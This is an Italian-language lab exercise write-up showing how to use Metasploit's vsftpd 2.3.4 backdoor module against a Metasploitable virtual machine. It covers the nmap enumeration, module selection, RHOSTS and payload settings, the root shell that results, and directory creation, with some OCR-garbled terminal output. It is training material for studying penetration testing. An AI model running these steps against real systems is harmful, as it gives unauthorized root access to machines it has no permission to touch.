ESERCITAZIONE S7 L1

Hacking con Metasploit

Vedremo come effettuare una sessione di hacking con Metasploit sulla macchina Metasploitable sfruttando il servizio *vsftpd*.

Una volta ottenuta la sessione, si dovrà creare una directory chiamata test_metasploit.

EXPLOIT

Un exploit è una forma sofisticata di codice, sequenza di comandi o software progettato per sfruttare vulnerabilità all'interno di un sistema informatico o di un'applicazione. L'obiettivo principale di un exploit è quello di ottenere un vantaggio indebito, come l'accesso non autorizzato a un sistema, l'esecuzione di codice malevolo o il superamento di misure di sicurezza.

Immaginiamo il sistema informatico come una struttura complessa con diverse porte e finestre di accesso, ognuna delle quali dovrebbe essere ben chiusa per impedire l'ingresso non autorizzato. Un exploit può essere paragonato a un insidioso ladro che cerca di sfruttare falle nelle chiusure delle porte o finestre per entrare nella struttura.

Queste vulnerabilità possono derivare da errori di programmazione, omissioni nel codice, o da una mancata implementazione di misure di sicurezza adeguate. Gli sviluppatori lavorano costantemente per identificare e correggere tali falle attraverso aggiornamenti software e patch di sicurezza.

Una volta individuata una vulnerabilità, un exploit può essere progettato per sfruttarla in modo specifico. Può essere distribuito attraverso varie vie, come file dannosi, link ingannevoli o e-mail di phishing. Quando l'exploit riesce a sfruttare la vulnerabilità, può consentire al suo creatore di ottenere un accesso non autorizzato, manipolare dati o eseguire azioni dannose nel sistema bersaglio.

Per prevenire gli exploit, è cruciale adottare pratiche di sviluppo sicure, applicare aggiornamenti regolari di sicurezza e utilizzare soluzioni di difesa come firewall e sistemi di rilevamento delle intrusioni. La consapevolezza degli utenti e la prontezza nel segnalare comportamenti sospetti sono altrettanto importanti per mantenere un ambiente informatico sicuro.

PROTOCOLLO ATTACCATO

Vsftpd, acronimo di "Very Secure FTP Daemon," è un server FTP progettato appositamente per sistemi operativi basati su Unix/Linux. La sua principale caratteristica distintiva è la meticolosa attenzione posta sulla sicurezza. Vsftpd offre un ambiente robusto e affidabile per agevolare il trasferimento di file attraverso la rete, assicurando che questa operazione critica avvenga in modo sicuro e protetto.

La sicurezza in vsftpd si manifesta attraverso diverse strategie. Il server implementa meccanismi di autenticazione robusti, garantendo che solo gli utenti autorizzati possano accedere e interagire con i dati. Il controllo degli accessi è un elemento centrale, consentendo agli amministratori di sistema di definire chi può accedere a quali risorse in base alle esigenze specifiche del loro ambiente.

Un aspetto cruciale della sicurezza è la possibilità di utilizzare crittografia SSL/TLS per proteggere il trasferimento dei dati tra il client e il server. Questa funzionalità è di particolare rilevanza quando si gestiscono informazioni sensibili attraverso il protocollo FTP.

La flessibilità è un altro punto di forza di vsftpd. Il server offre una vasta gamma di opzioni di configurazione, permettendo agli amministratori di adattare il comportamento del server in base alle esigenze specifiche, garantendo una perfetta integrazione nell'ambiente di lavoro.

Vsftpd è anche noto per funzionare con il minimo numero di privilegi necessari, riducendo così la superficie di attacco e migliorando la sicurezza complessiva del sistema. Le sue prestazioni efficienti e la capacità di mantenere alte velocità di trasferimento dei file, anche in situazioni di carico di lavoro intenso, ne fanno una scelta affidabile per gli ambienti di produzione.

La conformità agli standard è un ulteriore elemento da sottolineare. Vsftpd rispetta gli standard definiti nelle RFC relative al protocollo FTP, il che significa che è costruito seguendo specifiche rigorose, garantendo così un'interoperabilità ottimale con altri client e server FTP che seguono gli stessi standard.

STEP

Come prima cosa si è andati ad enumerare i servizi attivi su Metaspolitable, attraverso il comando *nmap* -sV 192.168.1.102

```
-$ nmap -sV 192.168.1.102
Starting Nmap 7.945VN (https://nmap.org ) at 2024-01-15 10:19 CET Nmap scan report for 192.168.1.102 Host is up (0.00086s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
              open ftp
open ssh
21/tcp
                                         vsftpd 2.3.4
                                         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp
              open telnet
                                        Linux telnetd
25/tcp
                                        Postfix smtpd
              open smtp
                                        ISC BIND 9.4.2
53/tcp
              open domain
                                      ISC BIND 9.4.2
Apache httpd 2.2.8 ((Ubuntu) DAV/2)
80/tcp
111/tcp
              open http
              open rpcbind
                                        2 (RPC #100000)
              open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
139/tcp
445/tcp
512/tcp
513/tcp
              open exec
                                        netkit-rsh rexecd
              open login?
1514/tcp open shell
1099/tcp open java-rmi GNU Classpath grmiregistr
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
P1/tcp open ftp ProFTPD 1.3.1
514/tcp
                                        GNU Classpath grmiregistry
3306/tcp
                                         MySQL 5.0.51a-3ubuntu5
             open mysql
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11
6667/tcp open irc
50001/tcp open nlockmgr 1-4 (RPC #100021)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.78 seconds
```

In questo modo possiamo sapere anche la versione del vsftpd e la porta.

Successivamente inizializziamo il database di Metasploit e avviamo la console con il comando *sudo msfdb init* && *console*.

Ora andremo a cercare e impostare correttamente l'exploit che vogliamo usare.

Con search vsftpd troveremo l'exploit chiamato exploit/unix/ftp/vsftpd_234_backdoor e poi

use exploit/unix/ftp/vsftpd_234_backdoor per selezionarlo.

```
<u>msf6</u> > search vsftpd
Matching Modules
   # Name
                                                          Disclosure Date Rank
                                                                                                Check Description
   0 auxiliary/dos/ftp/vsftpd_232 2011-02-03
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03
                                                                                                         VSFTPD 2.3.2 Denial of Service
VSFTPD v2.3.4 Backdoor Command Execution
                                                                                 normal
                                                                                                Yes
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use exploit/unix/f
use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
use exploit/unix/fileformat/ghostscript_type_confusion
use exploit/unix/fileformat/imagemagick_delegate
                                                                                                     use exploit/unix/fileformat/metasploit_libno
                                                                                                     use exploit/unix/fileformat/metasploit_msfve
                                                                                                     use exploit/unix/ftp/proftpd_133c_backdoor
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(
                                                       ) > info
      Name: VSFTPD v2.3.4 Backdoor Command Execution Module: exploit/unix/ftp/vsftpd_234_backdoor
        Arch: cmd
 Privileged: Yes
     License: Metasploit Framework License (BSD)
  Disclosed: 2011-07-03
Provided by:
hdm <x@hdm.io>
  MC <mc@metasploit.com>
Available targets:
       Td Name
   ⇒ 0 Automatic
```

Con la funzione *inf*o otterremo le informazioni che dobbiamo andare ad impostare, in questo caso è necessario settare solamente l'ip target, tramite il comando set RHOSTS 192.168.1.102

```
Available targets:
      Id Name
  ⇒ 0 Automatic
Check supported:
Basic options:
  Name Current Setting Required Description
                                           The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html The target port (TCP)
  RHOSTS
                               ves
  RPORT 21
                               ves
Payload information:
  Space: 2000
Avoid: 0 characters
Description:
  This module exploits a malicious backdoor that was added to the
  archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
  June 30th 2011 and July 1st 2011 according to the most recent information
  available. This backdoor was removed on July 3rd 2011.
  OSVDB (73573)
http://pastebin.com/AetT9sS5
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
View the full module info with the info -d command.
msf6 exploit(unix/ftp/vsftpd_234_unival)
RHOSTS ⇒ 192.168.1.102
loit(unix/ftp/vsftpd_234_backdoor) > ■
                          usftod 234_backdoor) > set RHOSTS 192.168.1.102
```

Ora andiamo ad impostare il payload che vogliamo iniettare:

- set payload payload/cmd/unix/interact
- show options

```
# Name Disclosure Date Rank Check Description

payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection

msf6 exploit(unix/fity/sfited_23b_backdoor) > set payload payload/cmd/unix/interact

msf6 exploit(unix/fity/sfited_23b_backdoor) > payload options

msf6 exploit(unix/fity/sfited_23b_backdoor) > show options

Module options (exploit/unix/fity/sfited_23b_backdoor):

Name Current Setting Required Description

CHOST no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOST 21 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RHOST 21 yes The target port (fCP)

Payload options (cmd/unix/interact):

Name Current Setting Required Description

Exploit target:

Id Name

0 Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/fity/sfited_23b_lackdoor) > info

Name: VSFFD V2.3.4 Backdoor Command Execution
Module: exploit/unix/fity/vsftpd_23b_lackdoor
Platform: Unix

Act: cmd
Privileged: Wes

License: Metasploit Framework License (BSD)
```

In questo caso non vengono richieste altre personalizzazioni quindi possiamo procedere direttamente ad eseguire l'exploit, con il comando exploit oppure run.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.102:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:33805 → 192.168.1.102:6200) at 2024-01-15 11:08:18 +0100
pwd
//
```

Possiamo notare che è stata creata una sessione di collegamento dal pc attaccante a quello target. Ora possiamo procedere alla creazione di una directory come richiesto dall'esericizio.

Avendo il controllo tramite cmd è sufficiente andare nella cartella root e creare la directory richiesta:

- cd/
- mkdir test_metaspolit

```
cd /
pwd
/
mkdir test_metasploit
```

Possiamo notare sulla finestra di Metasploitable la cartella appena creata.

```
| The printry network interface and the printerface and the printry network interface and the printry networ
```